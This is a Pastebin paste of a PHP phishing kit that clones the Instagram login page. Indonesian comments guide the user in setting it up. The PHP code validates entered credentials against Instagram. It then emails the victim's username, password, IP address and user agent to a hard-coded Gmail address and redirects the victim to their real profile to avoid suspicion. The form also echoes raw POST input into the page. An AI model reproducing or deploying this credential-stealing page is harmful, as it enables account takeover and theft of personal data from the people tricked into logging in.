Guest User

Untitled

a guest
Nov 2nd, 2016
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.37 KB | None | 0 0
  1. <?php
  2. if(isset($_POST['login'])){
  3. ini_set('display_errors', 0);
  4.  
  5. $user = $_POST['username'];
  6. $pass = $_POST['password'];
  7.  
  8. if(empty($user) && empty($pass)){
  9. $msg_a ='';
  10. $msg_b =' <ul class="errorlist"><li>This field is required.</li></ul>';
  11. }
  12. require_once('function.class.php');
  13. $useragent = generate_useragent();
  14. $device_id = generate_device_id();
  15. $login = proccess(1, $useragent, 'accounts/login/', 0, hook('{"device_id":"'.$device_id.'","guid":"'.generate_guid().'","username":"'.trim($user).'","password":"'.trim($pass).'","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}'), array('Accept-Language: id-ID, en-US', 'X-IG-Connection-Type: WIFI'));
  16. $log = json_decode($login[1]);
  17. if($log->status<>ok){
  18. $msg_a ='
  19. <div id="alerts" class="alerts">
  20. <p class="alert-red">Please enter a correct username and password. Note that both fields are case-sensitive.</p>
  21. </div>';
  22. $msg_b =' <ul class="errorlist"><li>Please enter a correct username and password. Note that both fields are case-sensitive.</li></ul>';
  23. } else {
  24. $ip_korban = $_SERVER['REMOTE_ADDR'];
  25. $uag = $_SERVER['HTTP_USER_AGENT'];
  26. $date = date('d/M/Y');
  27. $hasil_log = '
  28. <b style="color:green;">==== [ Instagram ] ====</b><br>
  29. <font color="gray">
  30. Username: '.$user.'<br>
  31. Password: '.$pass.'<br>
  32. Status: Login Berhasil!<br>
  33. Tanggal: '.$date.'<br>
  34. IP Address: '.$ip_korban.'<br>
  35. User Agent: '.$uag.'<br>
  36. </font>
  37. <b style="color:green;">==== [ Instagram ] ====</b><br>
  38. ';
  39. $headers .= "X-Mailer: PHP/" . phpversion();
  40. $cup_body = " $hasil_log \n"; //isi dari email yang dikirim ke email mu
  41. $cup_to = "ferryrisaldi91@gmail.com"; // email mu
  42. $cup_headers = "MIME-Version: 1.0" . "\n";
  43. $cup_headers .= "Content-type: text/html; charset=UTF-8" . "\n";
  44. $cup_headers .= "From: no-reply@mau.nz \n"; //email pengirim ( modif aja sesuka loe )
  45. $cup_headers .= "X-Mailer: PHP/" . phpversion();
  46. $cup_subject = "Result Instagram | from $ip_korban "; //subject email yang akan dikirim ke emailmu ( modif sesuka loe )
  47. @mail($cup_to, $cup_subject, $cup_body, $cup_headers); //perintah buat ngirim email
  48. header('location: https://www.instagram.com/'.$user.'/');
  49. }
  50. }
  51. ?>
  52. <!DOCTYPE html>
  53. <!--[if lt IE 7]> <html lang="en" class="no-js lt-ie9 lt-ie8 lt-ie7 not-logged-in "> <![endif]-->
  54. <!--[if IE 7]> <html lang="en" class="no-js lt-ie9 lt-ie8 not-logged-in "> <![endif]-->
  55. <!--[if IE 8]> <html lang="en" class="no-js lt-ie9 not-logged-in "> <![endif]-->
  56. <!--[if gt IE 8]><!--> <html lang="en" class="no-js not-logged-in "> <!--<![endif]-->
  57. <head>
  58. <script type="text/javascript">window._timings = {"domLoading": Date.now()}</script>
  59. <meta charset="utf-8">
  60. <meta http-equiv="X-UA-Compatible" content="IE=edge">
  61. <title>Log in &mdash; Instagram</title>
  62. <script type="text/javascript">
  63. WebFontConfig = {
  64. custom: {
  65. families: ['proxima-nova:n3,n4,n6,n7'],
  66. }
  67. };
  68. </script>
  69. <script src="//instagramstatic-a.akamaihd.net/h1/scripts/webfont.js/c0456c81549b.js" type="text/javascript" async></script>
  70. <style type="text/css">
  71. @font-face {
  72. font-family: 'proxima-nova';
  73. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-bold-webfont.eot/115b1f7f9c04.eot');
  74. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-bold-webfont.eot/115b1f7f9c04.eot?#iefix') format("embedded-opentype"),
  75. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-bold-webfont.woff/618250d25a4d.woff') format("woff"),
  76. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-bold-webfont.ttf/646346e03084.ttf') format("truetype"),
  77. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-bold-webfont.svg/e55a9d6051e8.svg#ProximaNovaBold') format("svg");
  78. font-weight: bold;
  79. font-style: normal; }
  80.  
  81. @font-face {
  82. font-family: 'proxima-nova';
  83. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-boldit-webfont.eot/1cbb869da891.eot');
  84. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-boldit-webfont.eot/1cbb869da891.eot?#iefix') format("embedded-opentype"),
  85. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-boldit-webfont.woff/b1cf049474c9.woff') format("woff"),
  86. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-boldit-webfont.ttf/3adb020ceae3.ttf') format("truetype"),
  87. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-boldit-webfont.svg/29948a2d3c58.svg#ProximaNovaBoldItalic') format("svg");
  88. font-weight: bold;
  89. font-style: italic; }
  90.  
  91. @font-face {
  92. font-family: 'proxima-nova';
  93. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-reg-webfont.eot/12af77715cee.eot');
  94. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-reg-webfont.eot/12af77715cee.eot?#iefix') format("embedded-opentype"),
  95. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-reg-webfont.woff/a9a9773b8e29.woff') format("woff"),
  96. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-reg-webfont.ttf/99e19808976a.ttf') format("truetype"),
  97. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-reg-webfont.svg/c33d2fd56309.svg#ProximaNovaRegular') format("svg");
  98. font-weight: normal;
  99. font-style: normal; }
  100.  
  101. @font-face {
  102. font-family: 'proxima-nova';
  103. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-regit-webfont.eot/1bbbd1312b0d.eot');
  104. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-regit-webfont.eot/1bbbd1312b0d.eot?#iefix') format("embedded-opentype"),
  105. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-regit-webfont.woff/9e306befca91.woff') format("woff"),
  106. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-regit-webfont.ttf/4a8663684135.ttf') format("truetype"),
  107. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-regit-webfont.svg/876278d4b189.svg#ProximaNovaRegularItalic') format("svg");
  108. font-weight: normal;
  109. font-style: italic; }
  110.  
  111. @font-face {
  112. font-family: 'proxima-nova';
  113. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-sbold-webfont.eot/5016edf79e1d.eot');
  114. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-sbold-webfont.eot/5016edf79e1d.eot?#iefix') format("embedded-opentype"),
  115. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-sbold-webfont.woff/615c1b06d8fa.woff') format("woff"),
  116. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-sbold-webfont.ttf/2973bd483f7a.ttf') format("truetype"),
  117. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-sbold-webfont.svg/868597833e49.svg#ProximaNovaSemibold') format("svg");
  118. font-weight: 600;
  119. font-style: normal; }
  120. </style>
  121. <style type="text/css">
  122. @font-face {
  123. font-family: 'proxima-nova';
  124. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-light-webfont.eot/63c84728610f.eot');
  125. src: url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-light-webfont.eot/63c84728610f.eot?#iefix') format("embedded-opentype"),
  126. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-light-webfont.woff/66bbe029f180.woff') format("woff"),
  127. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-light-webfont.ttf/eb408516399b.ttf') format("truetype"),
  128. url(' //instagramstatic-a.akamaihd.net/h1/webfonts/proximanova-light-webfont.svg/858f6a9b7ef3.svg#ProximaNovaLight') format("svg");
  129. font-weight: 300;
  130. font-style: normal; }
  131. </style>
  132. <meta name="robots" content="noimageindex">
  133. <meta name="apple-mobile-web-app-capable" content="yes">
  134. <meta name="apple-mobile-web-app-status-bar-style" content="black">
  135. <meta id="viewport" name="viewport" content="width=device-width, user-scalable=no, initial-scale=1, minimum-scale=1, maximum-scale=1">
  136. <script type="text/javascript">
  137. (function() {
  138. var docElement = document.documentElement;
  139. var classRE = new RegExp('(^|\\s)no-js(\\s|$)');
  140. var className = docElement.className;
  141. docElement.className = className.replace(classRE, '$1js$2');
  142. })();
  143. </script>
  144. <link rel="Shortcut Icon" type="image/x-icon" href="//instagramstatic-a.akamaihd.net/h1/images/ico/favicon.ico/7cdab0872b15.ico"><link rel="mask-icon" href="//instagramstatic-a.akamaihd.net/h1/images/ico/favicon.svg/dfde15ef1533.svg" color="#125688">
  145. <link rel="apple-touch-icon-precomposed" href="//instagramstatic-a.akamaihd.net/h1/images/ico/apple-touch-icon-precomposed.png/29d68fc587d7.png">
  146. <link rel="apple-touch-icon-precomposed" sizes="72x72" href="//instagramstatic-a.akamaihd.net/h1/images/ico/apple-touch-icon-72x72-precomposed.png/3f5e04d85488.png">
  147. <link rel="apple-touch-icon-precomposed" sizes="114x114" href="//instagramstatic-a.akamaihd.net/h1/images/ico/apple-touch-icon-114x114-precomposed.png/29d68fc587d7.png">
  148. <link rel="apple-touch-icon-precomposed" sizes="144x144" href="//instagramstatic-a.akamaihd.net/h1/images/ico/apple-touch-icon-144x144-precomposed.png/52fcc0fc09e4.png">
  149. <link href="//instagramstatic-a.akamaihd.net/h1/styles/distillery/dialog-main.css/aaf7a1937bef.css" type="text/css" rel="stylesheet"></link>
  150. <!--[if lt IE 9]>
  151. <style>
  152. .dialog-outer {
  153. min-height: 0;
  154. }
  155. </style>
  156. <![endif]-->
  157. <script src="//instagramstatic-a.akamaihd.net/h1/scripts/jquery.js/213ba890e802.js" type="text/javascript"></script>
  158. <script src="//instagramstatic-a.akamaihd.net/h1/scripts/bluebar.js/57733d51aed5.js" type="text/javascript"></script>
  159. <script type="text/javascript">
  160. $(document).ready(function() {
  161. $("#id_username").focus();
  162. });
  163. </script>
  164. </head>
  165. <body class="p-dialog oauth-login">
  166. <div class="root">
  167. <section class="dialog-outer">
  168. <div class="dialog">
  169. <header>
  170. <h1 class="logo">Instagram</h1>
  171. </header>
  172. <div class="dialog-main">
  173. <?php if(isset($_POST['login'])){ echo $msg_a; } ?>
  174. <form method="POST" id="login-form" class="adjacent" action="?">
  175. <input type="hidden" name="csrfmiddlewaretoken" value="142986590bde899b1c42a35f37b7d0ba"/>
  176. <?php if(isset($_POST['login'])){ echo $msg_b; } ?>
  177. <p><label for="id_username">Username:</label> <input name="username" maxlength="30" autocapitalize="off" autocorrect="off" type="text" id="id_username" value="<?php echo $_POST['username']; ?>" /></p>
  178. <p><label for="id_password">Password:</label> <input autocapitalize="off" autocorrect="off" type="password" name="password" id="id_password" value="" /></p>
  179. <p class="form-actions">
  180. <a href="https://www.instagram.com/accounts/password/reset/">Forgot password?</a>
  181. <input type="submit" name="login" class="button-green" value="Log in" />
  182. </p>
  183. </form>
  184.  
  185. <script>
  186. $(window).load(
  187. function() {
  188. $("#id_username").focus();
  189. }
  190. );
  191. </script>
  192. </div>
  193. </div>
  194. </section>
  195. <div id="reactModalMountPoint"></div>
  196. </div> <!-- .root -->
  197. </body>
  198. </html>
Add Comment
Please, Sign In to add comment